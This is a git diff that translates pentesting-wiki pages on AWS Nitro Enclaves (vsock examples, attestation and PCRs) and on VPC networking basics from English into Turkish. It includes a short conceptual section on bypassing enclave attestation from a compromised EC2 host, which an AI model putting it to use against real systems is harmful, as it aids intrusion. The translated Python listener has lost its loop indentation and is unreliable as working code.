> [!WARNING] -> Note that from the host there isn't any way to know if a CID is exposing any port! Unless using some **vsock port scanner like** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner). +> Ana bilgisayardan bir CID'nin herhangi bir portu açıp açmadığını bilmenin bir yolu yoktur! Bazı **vsock port tarayıcıları gibi** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner) kullanmadıkça. -### Vsock Server/Listener +### Vsock Sunucu/Dinleyici -Find here a couple of examples: +Burada birkaç örnek bulabilirsiniz: - [https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py](https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py)
-Simple Python Listener - +Basit Python Dinleyici ```python #!/usr/bin/env python3 @@ -173,30 +156,26 @@ s.listen() print(f"Connection opened by cid={remote_cid} port={remote_port}") while True: - buf = conn.recv(64) - if not buf: - break +buf = conn.recv(64) +if not buf: +break - print(f"Received bytes: {buf}") +print(f"Received bytes: {buf}") ``` -
- ```bash # Using socat socat VSOCK-LISTEN:,fork EXEC:"echo Hello from server!" ``` +### Vsock İstemcisi -### Vsock Client - -Examples: +Örnekler: - [https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/client.py](https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/client.py)
-Simple Python Client - +Basit Python İstemcisi ```python #!/usr/bin/env python3 @@ -212,64 +191,51 @@ s.connect((CID, PORT)) s.sendall(b"Hello, world!") s.close() ``` -
- ```bash # Using socat echo "Hello, vsock!" | socat - VSOCK-CONNECT:3:5000 ``` - ### Vsock Proxy -The tool vsock-proxy allows to proxy a vsock proxy with another address, for example: - +Araç vsock-proxy, başka bir adresle bir vsock proxy'sini proxy'lemenizi sağlar, örneğin: ```bash vsock-proxy 8001 ip-ranges.amazonaws.com 443 --config your-vsock-proxy.yaml ``` - -This will forward the **local port 8001 in vsock** to `ip-ranges.amazonaws.com:443` and the file **`your-vsock-proxy.yaml`** might have this content allowing to access `ip-ranges.amazonaws.com:443`: - +Bu, **vsock'taki yerel 8001 portunu** `ip-ranges.amazonaws.com:443` adresine yönlendirecek ve **`your-vsock-proxy.yaml`** dosyası, `ip-ranges.amazonaws.com:443` adresine erişimi sağlayan bu içeriğe sahip olabilir: ```yaml allowlist: - - { address: ip-ranges.amazonaws.com, port: 443 } +- { address: ip-ranges.amazonaws.com, port: 443 } ``` - -It's possible to see the vsock addresses (**`:`**) used by the EC2 host with (note the `3:8001`, 3 is the CID and 8001 the port): - +EC2 ana bilgisayarı tarafından kullanılan vsock adreslerini (**`:`**) görmek mümkündür (not: `3:8001`, 3 CID ve 8001 portudur): ```bash sudo ss -l -p -n | grep v_str v_str LISTEN 0 0 3:8001 *:* users:(("vsock-proxy",pid=9458,fd=3)) ``` +## Nitro Enclave Atestasyonu & KMS -## Nitro Enclave Atestation & KMS +Nitro Enclaves SDK, bir enclave'in Nitro **Hypervisor**'dan **kriptografik olarak imzalanmış bir atestasyon belgesi** talep etmesine olanak tanır; bu belge, o enclave'e özgü **benzersiz ölçümler** içerir. Bu ölçümler, **hash'ler ve platform yapılandırma kayıtları (PCR'ler)** dahil olmak üzere, atestasyon sürecinde **enclave'in kimliğini kanıtlamak** ve **harici hizmetlerle güven inşa etmek** için kullanılır. Atestasyon belgesi genellikle PCR0, PCR1 ve PCR2 gibi değerler içerir; bunlar daha önce bir enclave EIF oluştururken ve kaydederken karşılaştığınız değerlerdir. -The Nitro Enclaves SDK allows an enclave to request a **cryptographically signed attestation document** from the Nitro **Hypervisor**, which includes **unique measurements** specific to that enclave. These measurements, which include **hashes and platform configuration registers (PCRs)**, are used during the attestation process to **prove the enclave's identity** and **build trust with external services**. The attestation document typically contains values like PCR0, PCR1, and PCR2, which you have encountered before when building and saving an enclave EIF. +[**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves) sayfasından, bu PCR değerleri: -From the [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), these are the PCR values: +
PCRHash of ...Açıklama
PCR0Enclave görüntü dosyasıGörüntü dosyasının içeriklerinin kesintisiz ölçümü, bölüm verileri olmadan.
PCR1Linux çekirdeği ve bootstrapÇekirdek ve boot ramfs verilerinin kesintisiz ölçümü.
PCR2UygulamaKullanıcı uygulamalarının kesintisiz, sıralı ölçümü, boot ramfs olmadan.
PCR3Üst örneğe atanan IAM rolüÜst örneğe atanan IAM rolünün kesintisiz ölçümü. Atestasyon sürecinin yalnızca üst örnek doğru IAM rolüne sahip olduğunda başarılı olmasını sağlar.
PCR4Üst örneğin ID'siÜst örneğin ID'sinin kesintisiz ölçümü. Atestasyon sürecinin yalnızca üst örnek belirli bir örnek ID'sine sahip olduğunda başarılı olmasını sağlar.
PCR8Enclave görüntü dosyası imzalama sertifikasıEnclave görüntü dosyası için belirtilen imzalama sertifikasının ölçümü. Atestasyon sürecinin yalnızca enclave, belirli bir sertifika ile imzalanmış bir enclave görüntü dosyasından başlatıldığında başarılı olmasını sağlar.
-
PCRHash of ...Description
PCR0Enclave image fileA contiguous measure of the contents of the image file, without the section data.
PCR1Linux kernel and bootstrapA contiguous measurement of the kernel and boot ramfs data.
PCR2ApplicationA contiguous, in-order measurement of the user applications, without the boot ramfs.
PCR3IAM role assigned to the parent instanceA contiguous measurement of the IAM role assigned to the parent instance. Ensures that the attestation process succeeds only when the parent instance has the correct IAM role.
PCR4Instance ID of the parent instanceA contiguous measurement of the ID of the parent instance. Ensures that the attestation process succeeds only when the parent instance has a specific instance ID.
PCR8Enclave image file signing certificateA measure of the signing certificate specified for the enclave image file. Ensures that the attestation process succeeds only when the enclave was booted from an enclave image file signed by a specific certificate.
- -You can integrate **cryptographic attestation** into your applications and leverage pre-built integrations with services like **AWS KMS**. AWS KMS can **validate enclave attestations** and offers attestation-based condition keys (`kms:RecipientAttestation:ImageSha384` and `kms:RecipientAttestation:PCR`) in its key policies. These policies ensure that AWS KMS permits operations using the KMS key **only if the enclave's attestation document is valid** and meets the **specified conditions**. +**Kriptografik atestasyonu** uygulamalarınıza entegre edebilir ve **AWS KMS** gibi hizmetlerle önceden oluşturulmuş entegrasyonlardan yararlanabilirsiniz. AWS KMS, **enclave atestasyonlarını doğrulayabilir** ve anahtar politikalarında atestasyona dayalı koşul anahtarları (`kms:RecipientAttestation:ImageSha384` ve `kms:RecipientAttestation:PCR`) sunar. Bu politikalar, AWS KMS'nin KMS anahtarını **yalnızca enclave'in atestasyon belgesi geçerli olduğunda** ve **belirtilen koşulları karşıladığında** kullanmasına izin verir. > [!TIP] -> Note that Enclaves in debug (--debug) mode generate attestation documents with PCRs that are made of zeros (`000000000000000000000000000000000000000000000000`). Therefore, KMS policies checking these values will fail. +> Debug (--debug) modundaki Enclaves'in, sıfırlardan (`000000000000000000000000000000000000000000000000`) oluşan PCR'lerle atestasyon belgeleri ürettiğini unutmayın. Bu nedenle, bu değerleri kontrol eden KMS politikaları başarısız olacaktır. -### PCR Bypass +### PCR Atlatma -From an attackers perspective, notice that some PCRs would allow to modify some parts or all the enclave image and would still be valid (for example PCR4 just checks the ID of the parent instance so running any enclave image in that EC2 will allow to fulfil this potential PCR requirement). +Bir saldırgan perspektifinden, bazı PCR'lerin enclave görüntüsünün bazı kısımlarını veya tamamını değiştirmeye izin vereceğini ve yine de geçerli olacağını fark edin (örneğin, PCR4 yalnızca üst örneğin ID'sini kontrol eder, bu nedenle o EC2'de herhangi bir enclave görüntüsü çalıştırmak bu potansiyel PCR gereksinimini karşılamaya izin verecektir). -Therefore, an attacker that compromise the EC2 instance might be able to run other enclave images in order to bypass these protections. +Bu nedenle, EC2 örneğini tehlikeye atan bir saldırgan, bu korumaları atlatmak için diğer enclave görüntülerini çalıştırma yeteneğine sahip olabilir. -The research on how to modify/create new images to bypass each protection (spcially the not taht obvious ones) is still TODO. +Her korumayı atlatmak için yeni görüntüleri nasıl değiştireceğinize/oluşturacağınıza dair araştırma hala TODO'dur. -## References +## Referanslar - [https://medium.com/@F.DL/understanding-vsock-684016cf0eb0](https://medium.com/@F.DL/understanding-vsock-684016cf0eb0) -- All the parts of the Nitro tutorial from AWS: [https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli) +- AWS'den Nitro eğitimine ait tüm bölümler: [https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md index 03277bfd1..64535a8d4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md @@ -1,199 +1,195 @@ -# AWS - VPC & Networking Basic Information +# AWS - VPC & Networking Temel Bilgiler {{#include ../../../../banners/hacktricks-training.md}} -## AWS Networking in a Nutshell +## AWS Networking Kısaca -A **VPC** contains a **network CIDR** like 10.0.0.0/16 (with its **routing table** and **network ACL**). +Bir **VPC**, 10.0.0.0/16 gibi bir **ağ CIDR** içerir (kendi **yönlendirme tablosu** ve **ağ ACL** ile birlikte). -This VPC network is divided in **subnetworks**, so a **subnetwork** is directly **related** with the **VPC**, **routing** **table** and **network ACL**. +Bu VPC ağı, **alt ağlara** bölünmüştür, bu nedenle bir **alt ağ**, **VPC**, **yönlendirme** **tablosu** ve **ağ ACL** ile doğrudan **ilişkilidir**. -Then, **Network Interface**s attached to services (like EC2 instances) are **connected** to the **subnetworks** with **security group(s)**. +Daha sonra, hizmetlere (EC2 örnekleri gibi) bağlı **Ağ Arayüzleri**, **güvenlik grubu** ile **alt ağlara** **bağlanır**. -Therefore, a **security group** will limit the exposed ports of the network **interfaces using it**, **independently of the subnetwork**. And a **network ACL** will **limit** the exposed ports to to the **whole network**. +Bu nedenle, bir **güvenlik grubu**, **kullanılan** ağ **arayüzlerinin** açığa çıkan portlarını **alt ağdan bağımsız olarak** sınırlayacaktır. Ve bir **ağ ACL**, açığa çıkan portları **tüm ağa** **sınırlayacaktır**. -Moreover, in order to **access Internet**, there are some interesting configurations to check: +Ayrıca, **İnternete erişim** sağlamak için kontrol edilmesi gereken bazı ilginç yapılandırmalar vardır: -- A **subnetwork** can **auto-assign public IPv4 addresses** -- An **instance** created in the network that **auto-assign IPv4 addresses can get one** -- An **Internet gateway** need to be **attached** to the **VPC** - - You could also use **Egress-only internet gateways** -- You could also have a **NAT gateway** in a **private subnet** so it's possible to **connect to external services** from that private subnet, but it's **not possible to reach them from the outside**. - - The NAT gateway can be **public** (access to the internet) or **private** (access to other VPCs) +- Bir **alt ağ**, **otomatik olarak genel IPv4 adresleri atayabilir** +- **Otomatik olarak IPv4 adresleri atayan** ağda oluşturulan bir **örnek**, bir tane alabilir +- Bir **İnternet geçidi**, **VPC'ye** **bağlanmalıdır** +- **Sadece çıkış internet geçitleri** de kullanabilirsiniz +- Ayrıca, **özel bir alt ağda** bir **NAT geçidi** bulundurabilirsiniz, böylece o özel alt ağdan **harici hizmetlere bağlanmak** mümkündür, ancak dışarıdan onlara ulaşmak **mümkün değildir**. +- NAT geçidi **genel** (internete erişim) veya **özel** (diğer VPC'lere erişim) olabilir ![](<../../../../images/image (274).png>) ## VPC -Amazon **Virtual Private Cloud** (Amazon VPC) enables you to **launch AWS resources into a virtual network** that you've defined. This virtual network will have several subnets, Internet Gateways to access Internet, ACLs, Security groups, IPs... +Amazon **Sanal Özel Bulut** (Amazon VPC), tanımladığınız bir sanal ağa **AWS kaynaklarını başlatmanıza** olanak tanır. Bu sanal ağ, birkaç alt ağa, İnternet Geçitlerine, İnternete erişim için ACL'lere, Güvenlik gruplarına, IP'lere sahip olacaktır... -### Subnets +### Alt Ağlar -Subnets helps to enforce a greater level of security. **Logical grouping of similar resources** also helps you to maintain an **ease of management** across your infrastructure. +Alt ağlar, daha yüksek bir güvenlik seviyesi sağlamaya yardımcı olur. **Benzer kaynakların mantıksal gruplaması**, altyapınızda **yönetim kolaylığı** sağlamaya da yardımcı olur. -- Valid CIDR are from a /16 netmask to a /28 netmask. -- A subnet cannot be in different availability zones at the same time. -- **AWS reserves the first three host IP addresses** of each subnet **for** **internal AWS usage**: he first host address used is for the VPC router. The second address is reserved for AWS DNS and the third address is reserved for future use. -- It's called **public subnets** to those that have **direct access to the Internet, whereas private subnets do not.** +- Geçerli CIDR'ler /16 ağ maskesinden /28 ağ maskesine kadar uzanır. +- Bir alt ağ, aynı anda farklı kullanılabilirlik bölgelerinde olamaz. +- **AWS, her alt ağın ilk üç ana IP adresini** **içsel AWS kullanımı için** **ayırır**: ilk ana adres, VPC yönlendiricisi içindir. İkinci adres AWS DNS için ayrılmıştır ve üçüncü adres gelecekteki kullanım için ayrılmıştır. +- **İnternete doğrudan erişimi olan** alt ağlara **genel alt ağlar** denir, oysa özel alt ağlar buna sahip değildir.
-### Route Tables +### Yönlendirme Tabloları -Route tables determine the traffic routing for a subnet within a VPC. They determine which network traffic is forwarded to the internet or to a VPN connection. You will usually find access to the: +Yönlendirme tabloları, bir VPC içindeki bir alt ağ için trafik yönlendirmesini belirler. Hangi ağ trafiğinin internete veya bir VPN bağlantısına yönlendirileceğini belirler. Genellikle şunlara erişim bulursunuz: -- Local VPC +- Yerel VPC - NAT -- Internet Gateways / Egress-only Internet gateways (needed to give a VPC access to the Internet). - - In order to make a subnet public you need to **create** and **attach** an **Internet gateway** to your VPC. -- VPC endpoints (to access S3 from private networks) +- İnternet Geçitleri / Sadece çıkış internet geçitleri (VPC'ye İnternete erişim sağlamak için gereklidir). +- Bir alt ağı genel yapmak için, VPC'nize bir **İnternet geçidi** **oluşturmalı** ve **bağlamalısınız**. +- VPC uç noktaları (özel ağlardan S3'e erişim için) -In the following images you can check the differences in a default public network and a private one: +Aşağıdaki resimlerde, varsayılan bir genel ağ ile özel bir ağ arasındaki farkları kontrol edebilirsiniz:
-### ACLs +### ACL'ler -**Network Access Control Lists (ACLs)**: Network ACLs are firewall rules that control incoming and outgoing network traffic to a subnet. They can be used to allow or deny traffic to specific IP addresses or ranges. +**Ağ Erişim Kontrol Listeleri (ACL'ler)**: Ağ ACL'leri, bir alt ağa gelen ve giden ağ trafiğini kontrol eden güvenlik duvarı kurallarıdır. Belirli IP adreslerine veya aralıklara trafik izni vermek veya engellemek için kullanılabilirler. -- It’s most frequent to allow/deny access using security groups, but this is only way to completely cut established reverse shells. A modified rule in a security groups doesn’t stop already established connections -- However, this apply to the whole subnetwork be careful when forbidding stuff because needed functionality might be disturbed +- Erişimi sağlamak/engellemek için güvenlik gruplarını kullanmak en yaygın olanıdır, ancak bu, kurulu ters shell'leri tamamen kesmenin tek yoludur. Güvenlik gruplarındaki değiştirilmiş bir kural, zaten kurulmuş bağlantıları durdurmaz. +- Ancak, bu tüm alt ağa uygulanır, bu nedenle yasaklama yaparken dikkatli olun, çünkü gerekli işlevsellik bozulabilir. -### Security Groups +### Güvenlik Grupları -Security groups are a virtual **firewall** that control inbound and outbound network **traffic to instances** in a VPC. Relation 1 SG to M instances (usually 1 to 1).\ -Usually this is used to open dangerous ports in instances, such as port 22 for example: +Güvenlik grupları, bir VPC'deki örneklere gelen ve giden ağ **trafiklerini** kontrol eden sanal bir **güvenlik duvarıdır**. 1 SG ile M örnek ilişkisi (genellikle 1'e 1).\ +Genellikle, örneklerde tehlikeli portları açmak için kullanılır, örneğin port 22 gibi:
-### Elastic IP Addresses +### Elastik IP Adresleri -An _Elastic IP address_ is a **static IPv4 address** designed for dynamic cloud computing. An Elastic IP address is allocated to your AWS account, and is yours until you release it. By using an Elastic IP address, you can mask the failure of an instance or software by rapidly remapping the address to another instance in your account. +Bir _Elastik IP adresi_, dinamik bulut bilişim için tasarlanmış bir **statik IPv4 adresidir**. Bir Elastik IP adresi, AWS hesabınıza tahsis edilir ve serbest bırakana kadar sizin olur. Bir Elastik IP adresi kullanarak, bir örneğin veya yazılımın başarısızlığını hızla başka bir örneğe yeniden yönlendirerek maskeleyebilirsiniz. -### Connection between subnets +### Alt Ağlar Arasındaki Bağlantı -By default, all subnets have the **automatic assigned of public IP addresses turned off** but it can be turned on. +Varsayılan olarak, tüm alt ağların **otomatik olarak genel IP adresleri atama özelliği kapalıdır**, ancak açılabilir. -**A local route within a route table enables communication between VPC subnets.** +**Bir yönlendirme tablosundaki yerel bir yönlendirme, VPC alt ağları arasında iletişimi sağlar.** -If you are **connection a subnet with a different subnet you cannot access the subnets connected** with the other subnet, you need to create connection with them directly. **This also applies to internet gateways**. You cannot go through a subnet connection to access internet, you need to assign the internet gateway to your subnet. +Eğer **bir alt ağı farklı bir alt ağ ile bağlıyorsanız, diğer alt ağ ile bağlı alt ağlara erişemezsiniz**, onlarla doğrudan bağlantı kurmanız gerekir. **Bu, internet geçitleri için de geçerlidir**. İnternete erişmek için bir alt ağ bağlantısı üzerinden geçemezsiniz, internet geçidini alt ağınıza atamanız gerekir. ### VPC Peering -VPC peering allows you to **connect two or more VPCs together**, using IPV4 or IPV6, as if they were a part of the same network. +VPC peering, iki veya daha fazla VPC'yi, IPV4 veya IPV6 kullanarak, sanki aynı ağın bir parçasıymış gibi **birbirine bağlamanıza** olanak tanır. -Once the peer connectivity is established, **resources in one VPC can access resources in the other**. The connectivity between the VPCs is implemented through the existing AWS network infrastructure, and so it is highly available with no bandwidth bottleneck. As **peered connections operate as if they were part of the same network**, there are restrictions when it comes to your CIDR block ranges that can be used.\ -If you have **overlapping or duplicate CIDR** ranges for your VPC, then **you'll not be able to peer the VPCs** together.\ -Each AWS VPC will **only communicate with its peer**. As an example, if you have a peering connection between VPC 1 and VPC 2, and another connection between VPC 2 and VPC 3 as shown, then VPC 1 and 2 could communicate with each other directly, as can VPC 2 and VPC 3, however, VPC 1 and VPC 3 could not. **You can't route through one VPC to get to another.** +Eş bağlantı kurulduğunda, **bir VPC'deki kaynaklar diğer VPC'deki kaynaklara erişebilir**. VPC'ler arasındaki bağlantı, mevcut AWS ağ altyapısı aracılığıyla uygulanır ve bu nedenle yüksek kullanılabilirlik sunar ve bant genişliği darboğazı yoktur. **Eşleştirilmiş bağlantılar, sanki aynı ağın bir parçasıymış gibi çalıştığından**, kullanılabilecek CIDR blok aralıklarıyla ilgili kısıtlamalar vardır.\ +Eğer VPC'niz için **çakışan veya yinelenen CIDR** aralıklarınız varsa, **VPC'leri birbirine peering yapamazsınız**.\ +Her AWS VPC, **yalnızca eşine iletişim kurar**. Örneğin, VPC 1 ile VPC 2 arasında bir peering bağlantınız varsa ve VPC 2 ile VPC 3 arasında başka bir bağlantı varsa, o zaman VPC 1 ve 2 doğrudan birbirleriyle iletişim kurabilir, VPC 2 ve VPC 3 de öyle, ancak VPC 1 ve VPC 3 iletişim kuramaz. **Bir VPC üzerinden diğerine yönlendirme yapamazsınız.** -### **VPC Flow Logs** +### **VPC Akış Günlükleri** -Within your VPC, you could potentially have hundreds or even thousands of resources all communicating between different subnets both public and private and also between different VPCs through VPC peering connections. **VPC Flow Logs allow you to capture IP traffic information that flows between your network interfaces of your resources within your VPC**. +VPC'nizde, farklı alt ağlar arasında ve ayrıca VPC peering bağlantıları aracılığıyla farklı VPC'ler arasında iletişim kuran yüzlerce veya binlerce kaynak olabilir. **VPC Akış Günlükleri, VPC'niz içindeki kaynaklarınızın ağ arayüzleri arasında akan IP trafik bilgilerini yakalamanıza olanak tanır**. -Unlike S3 access logs and CloudFront access logs, the **log data generated by VPC Flow Logs is not stored in S3. Instead, the log data captured is sent to CloudWatch logs**. +S3 erişim günlükleri ve CloudFront erişim günlüklerinin aksine, **VPC Akış Günlükleri tarafından üretilen günlük verileri S3'te saklanmaz. Bunun yerine, yakalanan günlük verileri CloudWatch günlüklerine gönderilir**. -Limitations: +Sınırlamalar: -- If you are running a VPC peered connection, then you'll only be able to see flow logs of peered VPCs that are within the same account. -- If you are still running resources within the EC2-Classic environment, then unfortunately you are not able to retrieve information from their interfaces -- Once a VPC Flow Log has been created, it cannot be changed. To alter the VPC Flow Log configuration, you need to delete it and then recreate a new one. -- The following traffic is not monitored and captured by the logs. DHCP traffic within the VPC, traffic from instances destined for the Amazon DNS Server. -- Any traffic destined to the IP address for the VPC default router and traffic to and from the following addresses, 169.254.169.254 which is used for gathering instance metadata, and 169.254.169.123 which is used for the Amazon Time Sync Service. -- Traffic relating to an Amazon Windows activation license from a Windows instance -- Traffic between a network load balancer interface and an endpoint network interface +- Eğer bir VPC peering bağlantısı çalıştırıyorsanız, yalnızca aynı hesap içindeki eşleştirilmiş VPC'lerin akış günlüklerini görebilirsiniz. +- Eğer hala EC2-Classic ortamında kaynaklar çalıştırıyorsanız, maalesef arayüzlerinden bilgi alamazsınız. +- Bir VPC Akış Günlüğü oluşturulduktan sonra, değiştirilemez. VPC Akış Günlüğü yapılandırmasını değiştirmek için, onu silmeniz ve ardından yenisini oluşturmanız gerekir. +- Aşağıdaki trafik, günlükler tarafından izlenmez ve yakalanmaz. VPC içindeki DHCP trafiği, Amazon DNS Sunucusuna yönlendirilen örneklerden gelen trafik. +- VPC varsayılan yönlendiricisi için IP adresine yönlendirilen trafik ve aşağıdaki adreslere giden ve gelen trafik, 169.254.169.254, örnek meta verilerini toplamak için kullanılır ve 169.254.169.123, Amazon Zaman Senkronizasyon Servisi için kullanılır. +- Bir Windows örneğinden Amazon Windows aktivasyon lisansına ilişkin trafik +- Bir ağ yük dengeleyici arayüzü ile bir uç nokta ağ arayüzü arasındaki trafik -For every network interface that publishes data to the CloudWatch log group, it will use a different log stream. And within each of these streams, there will be the flow log event data that shows the content of the log entries. Each of these **logs captures data during a window of approximately 10 to 15 minutes**. +CloudWatch günlük grubuna veri yayınlayan her ağ arayüzü, farklı bir günlük akışı kullanacaktır. Ve bu akışların her birinde, günlük girişlerinin içeriğini gösteren akış günlük olayı verileri olacaktır. Bu **günlükler, yaklaşık 10 ila 15 dakika süresince veri yakalar**. ## VPN -### Basic AWS VPN Components +### Temel AWS VPN Bileşenleri -1. **Customer Gateway**: - - A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection. - - It is essentially a physical device or software application on your side of the Site-to-Site VPN connection. - - You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway. - - It serves as a reference point for setting up the VPN connection and doesn't incur additional charges. -2. **Virtual Private Gateway**: - - A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection. - - It is attached to your VPC and serves as the target for your VPN connection. - - VPG is the AWS side endpoint for the VPN connection. - - It handles the secure communication between your VPC and your on-premises network. -3. **Site-to-Site VPN Connection**: - - A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel. - - This type of connection requires a Customer Gateway and a Virtual Private Gateway. - - It's used for secure, stable, and consistent communication between your data center or network and your AWS environment. - - Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection. -4. **Client VPN Endpoint**: - - A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions. - - It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network. - - It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks. - - With Client VPN, each client device uses a VPN client software to establish a secure connection. +1. **Müşteri Geçidi**: +- Müşteri Geçidi, bir VPN bağlantısının sizin tarafınızı temsil etmek için AWS'de oluşturduğunuz bir kaynaktır. +- Temelde, Site-to-Site VPN bağlantınızın sizin tarafınızdaki fiziksel bir cihaz veya yazılım uygulamasıdır. +- AWS'ye bir Müşteri Geçidi oluşturmak için yönlendirme bilgilerini ve ağ cihazınızın (bir yönlendirici veya bir güvenlik duvarı gibi) genel IP adresini sağlarsınız. +- VPN bağlantısını kurmak için bir referans noktası olarak hizmet eder ve ek ücret talep etmez. +2. **Sanal Özel Geçit**: +- Sanal Özel Geçit (VPG), Site-to-Site VPN bağlantısının Amazon tarafındaki VPN konsantratörüdür. +- VPC'nize bağlıdır ve VPN bağlantınız için hedef olarak hizmet eder. +- VPG, VPN bağlantısının AWS tarafı uç noktasıdır. +- VPC'niz ile yerel ağınız arasındaki güvenli iletişimi yönetir. +3. **Site-to-Site VPN Bağlantısı**: +- Site-to-Site VPN bağlantısı, yerel ağınızı bir VPC'ye güvenli, IPsec VPN tüneli aracılığıyla bağlar. +- Bu tür bir bağlantı, bir Müşteri Geçidi ve bir Sanal Özel Geçit gerektirir. +- Veri merkeziniz veya ağınız ile AWS ortamınız arasında güvenli, kararlı ve tutarlı iletişim için kullanılır. +- Genellikle düzenli, uzun vadeli bağlantılar için kullanılır ve bağlantı üzerinden aktarılan veri miktarına göre faturalandırılır. +4. **İstemci VPN Uç Noktası**: +- İstemci VPN uç noktası, istemci VPN oturumlarını etkinleştirmek ve yönetmek için AWS'de oluşturduğunuz bir kaynaktır. +- Bireysel cihazların (dizüstü bilgisayarlar, akıllı telefonlar vb.) AWS kaynaklarına veya yerel ağınıza güvenli bir şekilde bağlanmasını sağlamak için kullanılır. +- Site-to-Site VPN'den farklıdır çünkü bireysel istemciler için tasarlanmıştır, tüm ağları bağlamak için değil. +- İstemci VPN ile her istemci cihazı, güvenli bir bağlantı kurmak için bir VPN istemci yazılımı kullanır. ### Site-to-Site VPN -**Connect your on premisses network with your VPC.** +**Yerel ağınızı VPC'nizle bağlayın.** -- **VPN connection**: A secure connection between your on-premises equipment and your VPCs. -- **VPN tunnel**: An encrypted link where data can pass from the customer network to or from AWS. +- **VPN bağlantısı**: Yerel ekipmanınız ile VPC'leriniz arasında güvenli bir bağlantı. +- **VPN tüneli**: Müşteri ağı ile AWS arasında veri geçişinin sağlandığı şifreli bir bağlantı. - Each VPN connection includes two VPN tunnels which you can simultaneously use for high availability. +Her VPN bağlantısı, yüksek kullanılabilirlik için aynı anda kullanabileceğiniz iki VPN tüneli içerir. -- **Customer gateway**: An AWS resource which provides information to AWS about your customer gateway device. -- **Customer gateway device**: A physical device or software application on your side of the Site-to-Site VPN connection. -- **Virtual private gateway**: The VPN concentrator on the Amazon side of the Site-to-Site VPN connection. You use a virtual private gateway or a transit gateway as the gateway for the Amazon side of the Site-to-Site VPN connection. -- **Transit gateway**: A transit hub that can be used to interconnect your VPCs and on-premises networks. You use a transit gateway or virtual private gateway as the gateway for the Amazon side of the Site-to-Site VPN connection. +- **Müşteri geçidi**: AWS'ye müşteri geçidi cihazınız hakkında bilgi sağlayan bir AWS kaynağı. +- **Müşteri geçidi cihazı**: Site-to-Site VPN bağlantınızın sizin tarafınızdaki fiziksel bir cihaz veya yazılım uygulaması. +- **Sanal özel geçit**: Site-to-Site VPN bağlantısının Amazon tarafındaki VPN konsantratörü. Site-to-Site VPN bağlantısının Amazon tarafı için bir sanal özel geçit veya transit geçit kullanırsınız. +- **Transit geçit**: VPC'lerinizi ve yerel ağlarınızı birbirine bağlamak için kullanılabilecek bir transit merkezi. Site-to-Site VPN bağlantısının Amazon tarafı için bir transit geçit veya sanal özel geçit kullanırsınız. -#### Limitations +#### Sınırlamalar -- IPv6 traffic is not supported for VPN connections on a virtual private gateway. -- An AWS VPN connection does not support Path MTU Discovery. +- Sanal özel geçitte VPN bağlantıları için IPv6 trafiği desteklenmez. +- Bir AWS VPN bağlantısı, Path MTU Keşfini desteklemez. -In addition, take the following into consideration when you use Site-to-Site VPN. +Ayrıca, Site-to-Site VPN kullanırken aşağıdakileri dikkate alın. -- When connecting your VPCs to a common on-premises network, we recommend that you use non-overlapping CIDR blocks for your networks. +- VPC'lerinizi ortak bir yerel ağa bağlarken, ağlarınız için çakışmayan CIDR blokları kullanmanızı öneririz. -### Client VPN +### İstemci VPN -**Connect from your machine to your VPC** +**Makinenizden VPC'nize bağlanın** -#### Concepts +#### Kavramlar -- **Client VPN endpoint:** The resource that you create and configure to enable and manage client VPN sessions. It is the resource where all client VPN sessions are terminated. -- **Target network:** A target network is the network that you associate with a Client VPN endpoint. **A subnet from a VPC is a target network**. Associating a subnet with a Client VPN endpoint enables you to establish VPN sessions. You can associate multiple subnets with a Client VPN endpoint for high availability. All subnets must be from the same VPC. Each subnet must belong to a different Availability Zone. -- **Route**: Each Client VPN endpoint has a route table that describes the available destination network routes. Each route in the route table specifies the path for traffic to specific resources or networks. -- **Authorization rules:** An authorization rule **restricts the users who can access a network**. For a specified network, you configure the Active Directory or identity provider (IdP) group that is allowed access. Only users belonging to this group can access the specified network. **By default, there are no authorization rules** and you must configure authorization rules to enable users to access resources and networks. -- **Client:** The end user connecting to the Client VPN endpoint to establish a VPN session. End users need to download an OpenVPN client and use the Client VPN configuration file that you created to establish a VPN session. -- **Client CIDR range:** An IP address range from which to assign client IP addresses. Each connection to the Client VPN endpoint is assigned a unique IP address from the client CIDR range. You choose the client CIDR range, for example, 